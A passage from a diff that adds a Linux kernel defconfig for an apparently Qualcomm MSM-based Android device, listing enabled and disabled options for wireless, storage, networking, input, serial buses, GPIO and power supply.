+CONFIG_WEXT_PRIV=y +CONFIG_CFG80211=y +CONFIG_NL80211_TESTMODE=y +# CONFIG_CFG80211_DEVELOPER_WARNINGS is not set +# CONFIG_CFG80211_REG_DEBUG is not set +# CONFIG_CFG80211_CERTIFICATION_ONUS is not set +CONFIG_CFG80211_DEFAULT_PS=y +# CONFIG_CFG80211_DEBUGFS is not set +CONFIG_CFG80211_INTERNAL_REGDB=y +# CONFIG_CFG80211_WEXT is not set +# CONFIG_LIB80211 is not set +# CONFIG_CFG80211_ALLOW_RECONNECT is not set +# CONFIG_MAC80211 is not set +# CONFIG_WIMAX is not set +# CONFIG_RFKILL is not set +# CONFIG_RFKILL_REGULATOR is not set +# CONFIG_NET_9P is not set +# CONFIG_CAIF is not set +# CONFIG_CEPH_LIB is not set +# CONFIG_NFC is not set +# CONFIG_NFC_QNCI is not set +# CONFIG_NFC_NQ is not set +CONFIG_IPC_ROUTER=y +CONFIG_IPC_ROUTER_SECURITY=y +CONFIG_HAVE_BPF_JIT=y + +# +# Device Drivers +# + +# +# Generic Driver Options +# +CONFIG_UEVENT_HELPER_PATH="" +# CONFIG_DEVTMPFS is not set +CONFIG_STANDALONE=y +CONFIG_PREVENT_FIRMWARE_BUILD=y +CONFIG_FW_LOADER=y +CONFIG_FIRMWARE_IN_KERNEL=y +CONFIG_EXTRA_FIRMWARE="" +CONFIG_FW_LOADER_USER_HELPER=y +# CONFIG_DEBUG_DRIVER is not set +# CONFIG_DEBUG_DEVRES is not set +# CONFIG_SYS_HYPERVISOR is not set +# CONFIG_GENERIC_CPU_DEVICES is not set +# CONFIG_HAVE_CPU_AUTOPROBE is not set +CONFIG_SOC_BUS=y +CONFIG_REGMAP=y +CONFIG_REGMAP_I2C=y +CONFIG_REGMAP_SPI=y +CONFIG_REGMAP_SWR=y +CONFIG_REGMAP_ALLOW_WRITE_DEBUGFS=y +CONFIG_DMA_SHARED_BUFFER=y +CONFIG_CMA=y +# CONFIG_CMA_DEBUG is not set + +# +# Default contiguous memory area size: +# +CONFIG_CMA_SIZE_MBYTES=8 +CONFIG_CMA_SIZE_SEL_MBYTES=y +# CONFIG_CMA_SIZE_SEL_PERCENTAGE is not set +# CONFIG_CMA_SIZE_SEL_MIN is not set +# CONFIG_CMA_SIZE_SEL_MAX is not set +CONFIG_CMA_ALIGNMENT=8 +CONFIG_CMA_AREAS=15 +# CONFIG_CMA_RESERVE_DEFAULT_AREA is not set + +# +# Bus devices +# +# CONFIG_CONNECTOR is not set +# CONFIG_MTD is not set +CONFIG_DTC=y +CONFIG_OF=y + +# +# Device Tree and Open Firmware support +# +# CONFIG_PROC_DEVICETREE is not set +# CONFIG_OF_SELFTEST is not set +CONFIG_OF_FLATTREE=y +CONFIG_OF_EARLY_FLATTREE=y +CONFIG_OF_ADDRESS=y +CONFIG_OF_IRQ=y +CONFIG_OF_DEVICE=y +CONFIG_OF_I2C=y +CONFIG_OF_NET=y +CONFIG_OF_MDIO=y +CONFIG_OF_SPMI=y +CONFIG_OF_SLIMBUS=y +CONFIG_OF_BATTERYDATA=y +CONFIG_OF_RESERVED_MEM=y +# CONFIG_PARPORT is not set +CONFIG_BLK_DEV=y +CONFIG_ZRAM=y +CONFIG_ZRAM_LZ4_COMPRESS=y +# CONFIG_ZRAM_DEBUG is not set +# CONFIG_BLK_DEV_COW_COMMON is not set +CONFIG_BLK_DEV_LOOP=y +CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 +# CONFIG_BLK_DEV_CRYPTOLOOP is not set +# CONFIG_BLK_DEV_DRBD is not set +# CONFIG_BLK_DEV_NBD is not set +CONFIG_BLK_DEV_RAM=y +CONFIG_BLK_DEV_RAM_COUNT=16 +CONFIG_BLK_DEV_RAM_SIZE=4096 +# CONFIG_BLK_DEV_XIP is not set +# CONFIG_CDROM_PKTCDVD is not set +# CONFIG_ATA_OVER_ETH is not set +# CONFIG_MG_DISK is not set +# CONFIG_BLK_DEV_RBD is not set + +# +# Misc devices +# +# CONFIG_SENSORS_LIS3LV02D is not set +# CONFIG_AD525X_DPOT is not set +# CONFIG_ATMEL_PWM is not set +# CONFIG_DUMMY_IRQ is not set +# CONFIG_ICS932S401 is not set +# CONFIG_ATMEL_SSC is not set +# CONFIG_ENCLOSURE_SERVICES is not set +# CONFIG_APDS9802ALS is not set +# CONFIG_APDS9930 is not set +# CONFIG_ISL29003 is not set +# CONFIG_ISL29020 is not set +# CONFIG_SENSORS_TSL2550 is not set +# CONFIG_SENSORS_BH1780 is not set +# CONFIG_SENSORS_BH1770 is not set +# CONFIG_SENSORS_APDS990X is not set +# CONFIG_HMC6352 is not set +# CONFIG_DS1682 is not set +# CONFIG_TI_DAC7512 is not set +# CONFIG_UID_STAT is not set +# CONFIG_BMP085_I2C is not set +# CONFIG_BMP085_SPI is not set +# CONFIG_USB_SWITCH_FSA9480 is not set +# CONFIG_LATTICE_ECP3_CONFIG is not set +# CONFIG_SRAM is not set +# CONFIG_HAPTIC_ISA1200 is not set +CONFIG_QSEECOM=y +# CONFIG_QFP_FUSE is not set +# CONFIG_QPNP_MISC is not set +# CONFIG_TI_DRV2667 is not set +# CONFIG_QCOM_LIQUID_DOCK is not set +CONFIG_UID_CPUTIME=y +# CONFIG_C2PORT is not set + +# +# EEPROM support +# +# CONFIG_EEPROM_AT24 is not set +# CONFIG_EEPROM_AT25 is not set +# CONFIG_EEPROM_LEGACY is not set +# CONFIG_EEPROM_MAX6875 is not set +CONFIG_EEPROM_93CX6=y +# CONFIG_EEPROM_93XX46 is not set + +# +# Texas Instruments shared transport line discipline +# +# CONFIG_TI_ST is not set +# CONFIG_SENSORS_LIS3_SPI is not set +# CONFIG_SENSORS_LIS3_I2C is not set + +# +# Altera FPGA firmware download module +# +# CONFIG_ALTERA_STAPL is not set +CONFIG_MSM_QDSP6V2_CODECS=y + +# +# SCSI device support +# +CONFIG_SCSI_MOD=y +# CONFIG_RAID_ATTRS is not set +CONFIG_SCSI=y +CONFIG_SCSI_DMA=y +CONFIG_SCSI_TGT=y +# CONFIG_SCSI_NETLINK is not set +CONFIG_SCSI_PROC_FS=y + +# +# SCSI support type (disk, tape, CD-ROM) +# +CONFIG_BLK_DEV_SD=y +# CONFIG_CHR_DEV_ST is not set +# CONFIG_CHR_DEV_OSST is not set +# CONFIG_BLK_DEV_SR is not set +CONFIG_CHR_DEV_SG=y +CONFIG_CHR_DEV_SCH=y +CONFIG_SCSI_MULTI_LUN=y +CONFIG_SCSI_CONSTANTS=y +CONFIG_SCSI_LOGGING=y +CONFIG_SCSI_SCAN_ASYNC=y + +# +# SCSI Transports +# +# CONFIG_SCSI_SPI_ATTRS is not set +# CONFIG_SCSI_FC_ATTRS is not set +# CONFIG_SCSI_ISCSI_ATTRS is not set +# CONFIG_SCSI_SAS_ATTRS is not set +# CONFIG_SCSI_SAS_LIBSAS is not set +# CONFIG_SCSI_SRP_ATTRS is not set +CONFIG_SCSI_LOWLEVEL=y +# CONFIG_ISCSI_TCP is not set +# CONFIG_ISCSI_BOOT_SYSFS is not set +# CONFIG_SCSI_UFSHCD is not set +# CONFIG_LIBFC is not set +# CONFIG_LIBFCOE is not set +# CONFIG_SCSI_DEBUG is not set +# CONFIG_SCSI_DH is not set +# CONFIG_SCSI_OSD_INITIATOR is not set +# CONFIG_ATA is not set +CONFIG_MD=y +# CONFIG_BLK_DEV_MD is not set +# CONFIG_BCACHE is not set +CONFIG_BLK_DEV_DM_BUILTIN=y +CONFIG_BLK_DEV_DM=y +# CONFIG_DM_DEBUG is not set +CONFIG_DM_BUFIO=y +CONFIG_DM_CRYPT=y +CONFIG_DM_REQ_CRYPT=y +# CONFIG_DM_SNAPSHOT is not set +# CONFIG_DM_THIN_PROVISIONING is not set +# CONFIG_DM_CACHE is not set +# CONFIG_DM_MIRROR is not set +# CONFIG_DM_RAID is not set +# CONFIG_DM_ZERO is not set +# CONFIG_DM_MULTIPATH is not set +# CONFIG_DM_DELAY is not set +# CONFIG_DM_UEVENT is not set +# CONFIG_DM_FLAKEY is not set +CONFIG_DM_VERITY=y +# CONFIG_TARGET_CORE is not set +CONFIG_NETDEVICES=y +CONFIG_NET_CORE=y +# CONFIG_BONDING is not set +CONFIG_DUMMY=y +# CONFIG_EQUALIZER is not set +CONFIG_MII=y +# CONFIG_IFB is not set +# CONFIG_NET_TEAM is not set +# CONFIG_MACVLAN is not set +# CONFIG_VXLAN is not set +# CONFIG_NETCONSOLE is not set +# CONFIG_NETPOLL is not set +# CONFIG_NET_POLL_CONTROLLER is not set +CONFIG_TUN=y +# CONFIG_VETH is not set + +# +# CAIF transport drivers +# + +# +# Distributed Switch Architecture drivers +# +# CONFIG_NET_DSA_MV88E6XXX is not set +# CONFIG_NET_DSA_MV88E6060 is not set +# CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set +# CONFIG_NET_DSA_MV88E6131 is not set +# CONFIG_NET_DSA_MV88E6123_61_65 is not set +CONFIG_ETHERNET=y +# CONFIG_NET_CADENCE is not set +# CONFIG_NET_VENDOR_BROADCOM is not set +# CONFIG_NET_CALXEDA_XGMAC is not set +# CONFIG_NET_VENDOR_CIRRUS is not set +# CONFIG_DM9000 is not set +# CONFIG_DNET is not set +# CONFIG_NET_VENDOR_FARADAY is not set +# CONFIG_NET_VENDOR_INTEL is not set +# CONFIG_NET_VENDOR_MARVELL is not set +# CONFIG_NET_VENDOR_MICREL is not set +# CONFIG_NET_VENDOR_MICROCHIP is not set +# CONFIG_NET_VENDOR_MSM is not set +CONFIG_MSM_RMNET_BAM=y +# CONFIG_NET_VENDOR_NATSEMI is not set +# CONFIG_ETHOC is not set +# CONFIG_NET_VENDOR_SEEQ is not set +# CONFIG_NET_VENDOR_SMSC is not set +# CONFIG_NET_VENDOR_STMICRO is not set +# CONFIG_NET_VENDOR_WIZNET is not set +CONFIG_PHYLIB=y + +# +# MII PHY device drivers +# +# CONFIG_AT803X_PHY is not set +# CONFIG_AMD_PHY is not set +# CONFIG_MARVELL_PHY is not set +# CONFIG_DAVICOM_PHY is not set +# CONFIG_QSEMI_PHY is not set +# CONFIG_LXT_PHY is not set +# CONFIG_CICADA_PHY is not set +# CONFIG_VITESSE_PHY is not set +# CONFIG_SMSC_PHY is not set +# CONFIG_BROADCOM_PHY is not set +# CONFIG_BCM87XX_PHY is not set +# CONFIG_ICPLUS_PHY is not set +# CONFIG_REALTEK_PHY is not set +# CONFIG_NATIONAL_PHY is not set +# CONFIG_STE10XP is not set +# CONFIG_LSI_ET1011C_PHY is not set +# CONFIG_MICREL_PHY is not set +# CONFIG_FIXED_PHY is not set +# CONFIG_MDIO_BITBANG is not set +# CONFIG_MDIO_BUS_MUX_GPIO is not set +# CONFIG_MDIO_BUS_MUX_MMIOREG is not set +# CONFIG_MICREL_KS8995MA is not set +CONFIG_PPP=y +CONFIG_PPP_BSDCOMP=y +CONFIG_PPP_DEFLATE=y +CONFIG_PPP_FILTER=y +CONFIG_PPP_MPPE=y +CONFIG_PPP_MULTILINK=y +CONFIG_PPPOE=y +CONFIG_PPPOL2TP=y +CONFIG_PPPOLAC=y +CONFIG_PPPOPNS=y +CONFIG_PPP_ASYNC=y +CONFIG_PPP_SYNC_TTY=y +# CONFIG_SLIP is not set +CONFIG_SLHC=y + +# +# USB Network Adapters +# +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +CONFIG_USB_USBNET=y +CONFIG_USB_NET_AX8817X=y +CONFIG_USB_NET_AX88179_178A=y +CONFIG_USB_NET_CDCETHER=y +# CONFIG_USB_NET_CDC_EEM is not set +CONFIG_USB_NET_CDC_NCM=y +# CONFIG_USB_NET_CDC_MBIM is not set +CONFIG_USB_NET_DM9601=y +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +CONFIG_USB_NET_NET1080=y +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=y +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +CONFIG_USB_BELKIN=y +CONFIG_USB_ARMLINUX=y +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +CONFIG_USB_NET_ZAURUS=y +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_MSM_RMNET_USB is not set +CONFIG_WLAN=y +# CONFIG_USB_ZD1201 is not set +# CONFIG_USB_NET_RNDIS_WLAN is not set +# CONFIG_LIBRA_SDIOIF is not set +# CONFIG_ATH6K_LEGACY_EXT is not set +CONFIG_WCNSS_CORE=y +CONFIG_WCNSS_CORE_PRONTO=y +CONFIG_WCNSS_MEM_PRE_ALLOC=y +CONFIG_WCNSS_REGISTER_DUMP_ON_BITE=y +# CONFIG_ATH_CARDS is not set +# CONFIG_BRCMFMAC is not set +# CONFIG_HOSTAP is not set +# CONFIG_LIBERTAS is not set +# CONFIG_WL_TI is not set +# CONFIG_MWIFIEX is not set + +# +# Enable WiMAX (Networking options) to see the WiMAX drivers +# +# CONFIG_WAN is not set +# CONFIG_DANIPC is not set +# CONFIG_ISDN is not set + +# +# Input device support +# +CONFIG_INPUT=y +CONFIG_INPUT_FF_MEMLESS=y +CONFIG_INPUT_POLLDEV=y +# CONFIG_INPUT_SPARSEKMAP is not set +# CONFIG_INPUT_MATRIXKMAP is not set + +# +# Userland interfaces +# +CONFIG_INPUT_MOUSEDEV=y +CONFIG_INPUT_MOUSEDEV_PSAUX=y +CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 +CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 +# CONFIG_INPUT_JOYDEV is not set +CONFIG_INPUT_EVDEV=y +# CONFIG_INPUT_EVBUG is not set +CONFIG_INPUT_KEYRESET=y +CONFIG_INPUT_KEYCOMBO=y +# CONFIG_SENSORS_HALL is not set + +# +# Input Device Drivers +# +CONFIG_INPUT_KEYBOARD=y +# CONFIG_KEYBOARD_ADP5588 is not set +# CONFIG_KEYBOARD_ADP5589 is not set +CONFIG_KEYBOARD_ATKBD=y +# CONFIG_KEYBOARD_QT1070 is not set +# CONFIG_KEYBOARD_QT2160 is not set +# CONFIG_KEYBOARD_LKKBD is not set +CONFIG_KEYBOARD_GPIO=y +# CONFIG_KEYBOARD_TCA6416 is not set +# CONFIG_KEYBOARD_TCA8418 is not set +# CONFIG_KEYBOARD_MATRIX is not set +# CONFIG_KEYBOARD_LM8323 is not set +# CONFIG_KEYBOARD_LM8333 is not set +# CONFIG_KEYBOARD_MAX7359 is not set +# CONFIG_KEYBOARD_MCS is not set +# CONFIG_KEYBOARD_MPR121 is not set +# CONFIG_KEYBOARD_NEWTON is not set +# CONFIG_KEYBOARD_OPENCORES is not set +# CONFIG_KEYBOARD_QPNP is not set +# CONFIG_KEYBOARD_SAMSUNG is not set +# CONFIG_KEYBOARD_STOWAWAY is not set +# CONFIG_KEYBOARD_SUNKBD is not set +# CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_INPUT_MOUSE is not set +CONFIG_INPUT_JOYSTICK=y +# CONFIG_JOYSTICK_ANALOG is not set +# CONFIG_JOYSTICK_A3D is not set +# CONFIG_JOYSTICK_ADI is not set +# CONFIG_JOYSTICK_COBRA is not set +# CONFIG_JOYSTICK_GF2K is not set +# CONFIG_JOYSTICK_GRIP is not set +# CONFIG_JOYSTICK_GRIP_MP is not set +# CONFIG_JOYSTICK_GUILLEMOT is not set +# CONFIG_JOYSTICK_INTERACT is not set +# CONFIG_JOYSTICK_SIDEWINDER is not set +# CONFIG_JOYSTICK_TMDC is not set +# CONFIG_JOYSTICK_IFORCE is not set +# CONFIG_JOYSTICK_WARRIOR is not set +# CONFIG_JOYSTICK_MAGELLAN is not set +# CONFIG_JOYSTICK_SPACEORB is not set +# CONFIG_JOYSTICK_SPACEBALL is not set +# CONFIG_JOYSTICK_STINGER is not set +# CONFIG_JOYSTICK_TWIDJOY is not set +# CONFIG_JOYSTICK_ZHENHUA is not set +# CONFIG_JOYSTICK_AS5011 is not set +# CONFIG_JOYSTICK_JOYDUMP is not set +CONFIG_JOYSTICK_XPAD=y +CONFIG_JOYSTICK_XPAD_FF=y +CONFIG_JOYSTICK_XPAD_LEDS=y +CONFIG_INPUT_TABLET=y +CONFIG_TABLET_USB_ACECAD=y +CONFIG_TABLET_USB_AIPTEK=y +CONFIG_TABLET_USB_GTCO=y +CONFIG_TABLET_USB_HANWANG=y +CONFIG_TABLET_USB_KBTAB=y +CONFIG_TABLET_USB_WACOM=y +CONFIG_INPUT_TOUCHSCREEN=y +CONFIG_TOUCHSCREEN_HIMAX852XES=y +CONFIG_TOUCHSCREEN_SYNAPTICS_I2C_RMI4=y +CONFIG_TOUCHSCREEN_SYNAPTICS_DSX_RMI4_DEV=y +CONFIG_INPUT_MISC=y +# CONFIG_INPUT_AD714X is not set +# CONFIG_INPUT_BMA150 is not set +# CONFIG_INPUT_HBTP_INPUT is not set +# CONFIG_INPUT_MMA8450 is not set +# CONFIG_INPUT_MPU3050 is not set +# CONFIG_SENSORS_MPU6050 is not set +# CONFIG_SENSORS_LIS3DH is not set +# CONFIG_INPUT_GP2A is not set +# CONFIG_INPUT_GPIO_TILT_POLLED is not set +# CONFIG_INPUT_ATI_REMOTE2 is not set +CONFIG_INPUT_KEYCHORD=y +# CONFIG_INPUT_KEYSPAN_REMOTE is not set +# CONFIG_INPUT_KXTJ9 is not set +# CONFIG_INPUT_KXTJ9_HQ is not set +# CONFIG_INPUT_POWERMATE is not set +# CONFIG_INPUT_YEALINK is not set +# CONFIG_INPUT_CM109 is not set +CONFIG_INPUT_UINPUT=y +CONFIG_INPUT_GPIO=y +# CONFIG_INPUT_ISA1200_FF_MEMLESS is not set +# CONFIG_INPUT_PCF8574 is not set +# CONFIG_INPUT_PWM_BEEPER is not set +# CONFIG_INPUT_GPIO_ROTARY_ENCODER is not set +# CONFIG_INPUT_ADXL34X is not set +# CONFIG_INPUT_IMS_PCU is not set +# CONFIG_INPUT_CMA3000 is not set +# CONFIG_BMP18X is not set +# CONFIG_SENSORS_MMA8X5X is not set +# CONFIG_SENSORS_AP3426 is not set +# CONFIG_SENSORS_AP3426_CM is not set +# CONFIG_SENSORS_LTR553 is not set +CONFIG_SENSORS_LTR559=y +CONFIG_SENSORS_BMA2X2=y +CONFIG_SENSORS_BMA2X2_ENABLE_INT1=y +# CONFIG_SENSORS_BMA2X2_ENABLE_IDENT is not set +CONFIG_SENSORS_BMM050=y +CONFIG_SENSORS_BMG=y +CONFIG_SENSORS_BMG_FIFO=y + +# +# Hardware I/O ports +# +CONFIG_SERIO=y +CONFIG_SERIO_SERPORT=y +CONFIG_SERIO_LIBPS2=y +# CONFIG_SERIO_RAW is not set +# CONFIG_SERIO_ALTERA_PS2 is not set +# CONFIG_SERIO_PS2MULT is not set +# CONFIG_SERIO_ARC_PS2 is not set +# CONFIG_SERIO_APBPS2 is not set +# CONFIG_GAMEPORT is not set + +# +# Character devices +# +CONFIG_TTY=y +# CONFIG_VT is not set +CONFIG_UNIX98_PTYS=y +# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set +# CONFIG_LEGACY_PTYS is not set +# CONFIG_SERIAL_NONSTANDARD is not set +# CONFIG_N_GSM is not set +# CONFIG_TRACE_SINK is not set +# CONFIG_DEVMEM is not set +# CONFIG_DEVKMEM is not set +CONFIG_FRANDOM=y + +# +# Serial drivers +# +# CONFIG_SERIAL_8250 is not set + +# +# Non-8250 serial port support +# +# CONFIG_SERIAL_MAX3100 is not set +# CONFIG_SERIAL_MAX310X is not set +# CONFIG_SERIAL_MSM is not set +# CONFIG_SERIAL_MSM_HS is not set +# CONFIG_SERIAL_MSM_HSL is not set +# CONFIG_SERIAL_BCM_BT_LPM is not set +# CONFIG_SERIAL_SCCNXP is not set +# CONFIG_SERIAL_TIMBERDALE is not set +# CONFIG_SERIAL_ALTERA_JTAGUART is not set +# CONFIG_SERIAL_ALTERA_UART is not set +# CONFIG_SERIAL_IFX6X60 is not set +CONFIG_SERIAL_MSM_SMD=y +# CONFIG_SERIAL_XILINX_PS_UART is not set +# CONFIG_SERIAL_ARC is not set + +# +# Diag Support +# +CONFIG_DIAG_CHAR=y + +# +# DIAG traffic over USB +# +CONFIG_DIAG_OVER_USB=y + +# +# HSIC/SMUX support for DIAG +# +# CONFIG_TTY_PRINTK is not set +# CONFIG_HVC_DCC is not set +# CONFIG_IPMI_HANDLER is not set +CONFIG_HW_RANDOM=y +# CONFIG_HW_RANDOM_TIMERIOMEM is not set +# CONFIG_HW_RANDOM_ATMEL is not set +# CONFIG_HW_RANDOM_EXYNOS is not set +CONFIG_HW_RANDOM_MSM=y +# CONFIG_R3964 is not set +# CONFIG_RAW_DRIVER is not set +# CONFIG_TCG_TPM is not set +CONFIG_MSM_SMD_PKT=y +# CONFIG_MSM_ADSPRPC is not set +# CONFIG_MSM_RDBG is not set +CONFIG_I2C=y +CONFIG_I2C_BOARDINFO=y +CONFIG_I2C_COMPAT=y +CONFIG_I2C_CHARDEV=y +# CONFIG_I2C_MUX is not set +CONFIG_I2C_HELPER_AUTO=y + +# +# I2C Hardware Bus support +# + +# +# I2C system bus drivers (mostly embedded / system-on-chip) +# +# CONFIG_I2C_CBUS_GPIO is not set +# CONFIG_I2C_DESIGNWARE_PLATFORM is not set +# CONFIG_I2C_GPIO is not set +# CONFIG_I2C_QUP is not set +CONFIG_I2C_MSM_V2=y +# CONFIG_I2C_OCORES is not set +# CONFIG_I2C_PCA_PLATFORM is not set +# CONFIG_I2C_PXA_PCI is not set +# CONFIG_I2C_SIMTEC is not set +# CONFIG_I2C_XILINX is not set + +# +# External I2C/SMBus adapter drivers +# +# CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_PARPORT_LIGHT is not set +# CONFIG_I2C_TAOS_EVM is not set +# CONFIG_I2C_TINY_USB is not set + +# +# Other I2C/SMBus bus drivers +# +# CONFIG_I2C_DEBUG_CORE is not set +# CONFIG_I2C_DEBUG_ALGO is not set +# CONFIG_I2C_DEBUG_BUS is not set +CONFIG_SLIMBUS=y +# CONFIG_SLIMBUS_MSM_CTRL is not set +CONFIG_SLIMBUS_MSM_NGD=y +CONFIG_SOUNDWIRE=y +CONFIG_SOUNDWIRE_WCD_CTRL=y +CONFIG_SPI=y +# CONFIG_SPI_DEBUG is not set +CONFIG_SPI_MASTER=y + +# +# SPI Master Controller Drivers +# +# CONFIG_SPI_ALTERA is not set +# CONFIG_SPI_BITBANG is not set +# CONFIG_SPI_GPIO is not set +# CONFIG_SPI_FSL_SPI is not set +# CONFIG_SPI_OC_TINY is not set +# CONFIG_SPI_PXA2XX_PCI is not set +# CONFIG_SPI_SC18IS602 is not set +# CONFIG_SPI_XCOMM is not set +# CONFIG_SPI_XILINX is not set +CONFIG_SPI_QUP=y +# CONFIG_SPI_DESIGNWARE is not set + +# +# SPI Protocol Masters +# +CONFIG_SPI_SPIDEV=y +# CONFIG_SPI_TLE62X0 is not set +CONFIG_SPMI=y +CONFIG_SPMI_MSM_PMIC_ARB=y +CONFIG_MSM_QPNP_INT=y + +# +# Qualcomm MSM SSBI bus support +# +# CONFIG_SSBI is not set +# CONFIG_HSI is not set + +# +# PPS support +# +# CONFIG_PPS is not set + +# +# PPS generators support +# + +# +# PTP clock support +# +# CONFIG_PTP_1588_CLOCK is not set + +# +# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. +# +# CONFIG_PTP_1588_CLOCK_PCH is not set +CONFIG_PINCTRL=y + +# +# Pin controllers +# +CONFIG_PINMUX=y +CONFIG_PINCONF=y +CONFIG_GENERIC_PINCONF=y +# CONFIG_DEBUG_PINCTRL is not set +# CONFIG_PINCTRL_SINGLE is not set +CONFIG_USE_PINCTRL_IRQ=y +CONFIG_PINCTRL_MSM_TLMM=y +# CONFIG_PINCTRL_EXYNOS is not set +# CONFIG_PINCTRL_EXYNOS5440 is not set +CONFIG_ARCH_HAVE_CUSTOM_GPIO_H=y +CONFIG_ARCH_REQUIRE_GPIOLIB=y +CONFIG_GPIO_DEVRES=y +CONFIG_GPIOLIB=y +CONFIG_OF_GPIO=y +CONFIG_DEBUG_GPIO=y +CONFIG_GPIO_SYSFS=y + +# +# Memory mapped GPIO drivers: +# +# CONFIG_GPIO_GENERIC_PLATFORM is not set +# CONFIG_GPIO_EM is not set +# CONFIG_GPIO_MSM_V3 is not set +# CONFIG_GPIO_RCAR is not set +# CONFIG_GPIO_TS5500 is not set +# CONFIG_GPIO_GRGPIO is not set + +# +# I2C GPIO expanders: +# +# CONFIG_GPIO_MAX7300 is not set +# CONFIG_GPIO_MAX732X is not set +# CONFIG_GPIO_PCF857X is not set +# CONFIG_GPIO_SX150X is not set +# CONFIG_GPIO_ADP5588 is not set +# CONFIG_GPIO_ADNP is not set + +# +# PCI GPIO expanders: +# + +# +# SPI GPIO expanders: +# +# CONFIG_GPIO_MAX7301 is not set +# CONFIG_GPIO_MCP23S08 is not set +# CONFIG_GPIO_MC33880 is not set +# CONFIG_GPIO_74X164 is not set + +# +# AC97 GPIO expanders: +# + +# +# MODULbus GPIO expanders: +# +CONFIG_GPIO_QPNP_PIN=y +# CONFIG_GPIO_QPNP_PIN_DEBUG is not set + +# +# USB GPIO expanders: +# +# CONFIG_W1 is not set +CONFIG_POWER_SUPPLY=y +# CONFIG_POWER_SUPPLY_DEBUG is not set +# CONFIG_PDA_POWER is not set +# CONFIG_TEST_POWER is not set +# CONFIG_BATTERY_DS2780 is not set +# CONFIG_BATTERY_DS2781 is not set +# CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SBS is not set +# CONFIG_BATTERY_BQ27x00 is not set +# CONFIG_BATTERY_MAX17040 is not set +# CONFIG_BATTERY_MAX17042 is not set +# CONFIG_CHARGER_ISP1704 is not set +# CONFIG_CHARGER_MAX8903 is not set +# CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_GPIO is not set +# CONFIG_CHARGER_MANAGER is not set +# CONFIG_CHARGER_BQ2415X is not set +# CONFIG_SMB137C_CHARGER is not set +# CONFIG_SMB349_USB_CHARGER is not set +# CONFIG_SMB350_CHARGER is not set +# CONFIG_SMB1351_USB_CHARGER is not set +# CONFIG_SMB135X_CHARGER is not set +CONFIG_BQ2022A_SUPPORT=y +CONFIG_SMB1360_CHARGER_FG=y +# CONFIG_SMB358_CHARGER is not set +# CONFIG_BATTERY_BQ28400 is not set +# CONFIG_QPNP_CHARGER is not set +# CONFIG_QPNP_SMBCHARGER is not set +# CONFIG_QPNP_FG is not set +CONFIG_BATTERY_BCL=y +# CONFIG_CHARGER_SMB347 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_QPNP_VM_BMS_HQ is not set +CONFIG_QPNP_VM_BMS=y +CONFIG_QPNP_LINEAR_CHARGER=y +# CONFIG_QPNP_LINEAR_CHARGER_HQ is not set +# CONFIG_MSM_BCL_CTL is not set +# CONFIG_YL_PM8916_VBUS is not set +# CONFIG_YL_BQ24157_CHARGER is not set +# CONFIG_YL_FAN5405_CHARGER is not set +# CONFIG_YL_LC709203_FUELGAUGE is not set +# CONFIG_YL_CHARGE_MODE is not set +CONFIG_POWER_RESET=y +# CONFIG_POWER_RESET_GPIO is not set +CONFIG_POWER_RESET_MSM=y +# CONFIG_MSM_DLOAD_MODE is not set +CONFIG_MSM_PRESERVE_MEM=y +# CONFIG_POWER_RESET_RESTART is not set +# CONFIG_POWER_AVS is not set +# CONFIG_POWER_AVS_MSM is not set +CONFIG_MSM_PM=y +CONFIG_MSM_IDLE_STATS=y +CONFIG_MSM_IDLE_STATS_FIRST_BUCKET=62500 +CONFIG_MSM_IDLE_STATS_BUCKET_SHIFT=2 +CONFIG_MSM_IDLE_STATS_BUCKET_COUNT=10 +CONFIG_MSM_SUSPEND_STATS_FIRST_BUCKET=1000000000 +CONFIG_HWMON=y +# CONFIG_HWMON_VID is not set +# CONFIG_HWMON_DEBUG_CHIP is not set + +# +# Native drivers +# +# CONFIG_SENSORS_AD7314 is not set +# CONFIG_SENSORS_AD7414 is not set +# CONFIG_SENSORS_AD7418 is not set +# CONFIG_SENSORS_ADCXX is not set +# CONFIG_SENSORS_ADM1021 is not set +# CONFIG_SENSORS_ADM1025 is not set +# CONFIG_SENSORS_ADM1026 is not set +# CONFIG_SENSORS_ADM1029 is not set +# CONFIG_SENSORS_ADM1031 is not set +# CONFIG_SENSORS_ADM9240 is not set +# CONFIG_SENSORS_ADT7310 is not set +# CONFIG_SENSORS_ADT7410 is not set +# CONFIG_SENSORS_ADT7411 is not set +# CONFIG_SENSORS_ADT7462 is not set +# CONFIG_SENSORS_ADT7470 is not set +# CONFIG_SENSORS_ADT7475 is not set +# CONFIG_SENSORS_ASC7621 is not set +# CONFIG_SENSORS_ATXP1 is not set +# CONFIG_SENSORS_BOOST_DYNAMIC_CONTROLLER is not set +# CONFIG_SENSORS_DS620 is not set +# CONFIG_SENSORS_DS1621 is not set +# CONFIG_SENSORS_F71805F is not set +# CONFIG_SENSORS_F71882FG is not set +# CONFIG_SENSORS_F75375S is not set +# CONFIG_SENSORS_G760A is not set +# CONFIG_SENSORS_GL518SM is not set +# CONFIG_SENSORS_GL520SM is not set +# CONFIG_SENSORS_GPIO_FAN is not set +# 